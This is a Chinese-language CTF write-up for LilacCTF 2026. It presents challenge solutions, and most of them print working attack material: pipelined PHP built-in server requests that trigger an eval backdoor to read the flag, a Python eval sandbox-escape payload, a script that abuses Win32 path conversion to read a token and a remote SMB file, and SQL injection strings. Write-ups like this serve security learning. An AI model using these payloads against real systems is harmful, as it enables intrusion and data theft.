目录

  1. 1. 前言
  2. 2. keep
  3. 3. Your GitHub, mine
  4. 4. CheckIn(复现)
  5. 5. Nailong(Unsolved)
  6. 6. Path
  7. 7. safe-sql(Unsolved)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

LilacCTF 2026

2026/1/24 CTF线上赛 沙盒 Windows
  |     |   总文章阅读量:

前言

参考:

https://blog.xmcve.com/2026/01/27/LilacCTF-2026-Writeup/

https://lilachit.notion.site/LilacCTF-2026-Official-WriteUp-2f44c775ef0e80ba8398f120cd4c59d1


keep

404报错页面一眼 php -S 起的服务器

php 7.3.4,直接打源码泄露

GET /index.php HTTP/1.1
Host: 61.147.171.103:60623


GET /1.txt HTTP/1.1

返回

<?php
@error_reporting(~E_ALL);

echo "Hello World!" . PHP_EOL;

// s3Cr37_f1L3.php.bak

访问 s3Cr37_f1L3.php.bak 返回

<?php

@eval($_POST["admin"]);

但是尝试访问 s3Cr37_f1L3.php 发现不存在这个文件,猜测是要把 bak 解析为 php

根据自己的早期文章记载,第二个GET后的 / 请求的如果是 .php 或 .PHP 后缀则会视为 php 文件解析

至于如何传 POST 参数,测试发现只要带上 CL 头算清楚请求体长度即可

POST /s3Cr37_f1L3.php.bak HTTP/1.1
Host: 61.147.171.103:60623


POST /1.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

admin=system('cat+/f*');

得到 flag


Your GitHub, mine

先访问 classroom 链接加入 classroom 仓库

然后 nc bot,选择 create issue

接下来进入那个 issue,编辑 issue 正文,修改为 @lilacctf-tech

改变 owner 到自己,修改为 public,transfer issue 到自己的公开仓库

然后 check issue


CheckIn(复现)

没绷住能扫出 back.zip,那我黑盒全测完了算什么(

backup.zip

#Python 3.14.2
import re
from collections import UserList
from sys import argv

class LockedList(UserList):
    def __setitem__(self, key, value):
        raise Exception("Assignment blocked!")

def sandbox():
    if len(argv) != 2:
        print("ERROR: Missing code")
        return

    try:
        status = LockedList([False])
        status_id = id(status)
        user_input = argv[1].encode('idna').decode('ascii').rstrip('-')

        if re.search(r'[0-9A-Z]', user_input):
            print("FORBIDDEN: No numbers or alphas")
            return

        if re.search(r'[_\s=+\[\],"\'\<\>\-\*@#$%^&\\\|\{\}\:;]', user_input):
            print("FORBIDDEN: Incorrect symbol detected")
            return

        if re.search(r'(status|flag|update|setattr|getattr|eval|exec|import|locals|os|sys|builtins|open|or|and|not|is|breakpoint|exit|print|quit|help|input|globals)', user_input.casefold()):
            print("FORBIDDEN: Keywords detected")
            return

        if len(user_input) > 60:
            print("FORBIDDEN: Input too long! Keep it concise and it is very simple.")
            return

        eval(user_input)
        
        if status[0] and id(status) == status_id:
            with open('/flag', 'r') as f:
                flag = f.read().strip()
                print(f"SUCCESS! Flag: {flag}")
        else:
            print(f"FAILURE: status is still {status}")
            
    except Exception as e:
        print(f"Don't be evil~ And I won't show you this error :)")

if __name__ == '__main__':
    sandbox()

No numbers or alphas:数字和大写字母
Incorrect symbol detected:_,+,;,’,”,空格,换行,<>,&,^,-~-(
Keywords detected:help,eval,exec,open,system,globals,builtins,os,locals,breakpoint,getattr,import,is,flag,not,status

限长 60

fuzz 的可用结果:compile,license,vars,credits,dir,dict,int,float,str,min,get,extend,reverse,join,items,len,in

可以构造出这样一个 payload:

vars().get(min(vars())).extend(dir())

返回

FAILURE: status is still [False, 'status', 'status_id', 'user_input']
vars().get(min(vars())).extend(vars(license).items())
FAILURE: status is still [False, ('_Printer__name', 'license'), ('_Printer__data', 'See https://www.python.org/psf/license/'), ('_Printer__lines', None), ('_Printer__filenames', ['/usr/local/lib/python3.14/../LICENSE.txt', '/usr/local/lib/python3.14/../LICENSE', '/usr/local/lib/python3.14/LICENSE.txt', '/usr/local/lib/python3.14/LICENSE', './LICENSE.txt', './LICENSE'])]

可知版本是 python 3.14

获取 status is still 列表的方法:

vars().get(min(vars()))

把回显的结果拼在 list 后面,测试得知

dir()
['status', 'status_id', 'user_input']
vars()
{'status', 'status_id', 'user_input'}
min(vars())
'status'
vars().items()
dict_items([('status', [False]), ('status_id',
140205775626528), ('user_input',
'vars().get(min(dir())).append(vars().items())')])
len(dir())
3

min(vars()) 换成 min(dir()) 可以节省一个字符

猜测目标是让 status 为 True,那么需要真值

这里就会涉及到一个问题,现在我们没有获取数值 1 的方法,到这里如果没拿到源码的话很难猜到这里的逻辑是 if status[0] and id(status) == status_id

只需要任意非 0 数值即可成功…

>>> 0 and 1
0
>>> -1 and 1
1

获取 -1 的方法有不少:~(int())

不过我们需要把原先的 False 去掉,也就是要 pop()

最终 payload:

vars().get(min(dir())).append(~vars().get(min(dir())).pop())


Nailong(Unsolved)

Streamlit 框架,使用 Huggingface 的模型扫描器(Picklescan)

from torchvision import transforms, models
model = models.resnet50(weights=None)
num_features = model.fc.in_features
model.fc = nn.Linear(num_features, 2)
model.load_state_dict(torch.load(model_path, `map_location=torch.device('cpu'), weights_only=False))

测试发现 Picklescan 会返回 Innocuous、 suspicious、dangerous


Path

题目开头 Win32 → NT Path Conversion Challenge

可搜到: https://projectzero.google/2016/02/the-definitive-guide-on-win32-to-nt.html

/api/info:

{
  "data": {
    "challenge": "Path Maze",
    "hints": [
      "Stage 1: Find and read the access token from the system",
      "Stage 2: Use the token to access the backup server",
      "Token location: C:\\token\\access_key.txt",
      "Backup server: 172.20.0.10",
      "Backup server SMB Share name: backup",
      "Flag file: flag.txt"
    ],
    "stages": 2,
    "version": "1.0.0"
  },
  "success": true
}

然后由于 token 每次获取只能用一次,写个脚本利用

import requests
import json

url = "http://1.95.51.2:8080"

res1 = requests.get(url +
                    '/api/diag/read?path=\\\\?\C:\\token\\access_key.txt')
token = json.loads(res1.text)['token']

payload = "\\\\?\\GLOBALROOT\\??\\UNC\\172.20.0.10\\backup\\flag.txt"

res2 = requests.get(url + f'/api/export/read?path={payload}' +
                    f'&token={token}')
print(res2.text)

safe-sql(Unsolved)

引号均被 ban,直接转义实现闭合,测试发现注释符为 --

select * from users where username = '1\' and password = 'or 1=1-- '

此时返回 {"reason":"No such user or wrong credentials.","status":"failure"}

然后如果没注释掉的话会返回 {"reason":"Something Error.","status":"error"}

那么可以尝试打布尔注入,测试发现只有 CASE WHEN 可用(不行),可以确定是老版本的 postgresql

{"username":"1\\","password":"or (CASE WHEN (1>0) THEN 1 ELSE 0 END)=1-- "}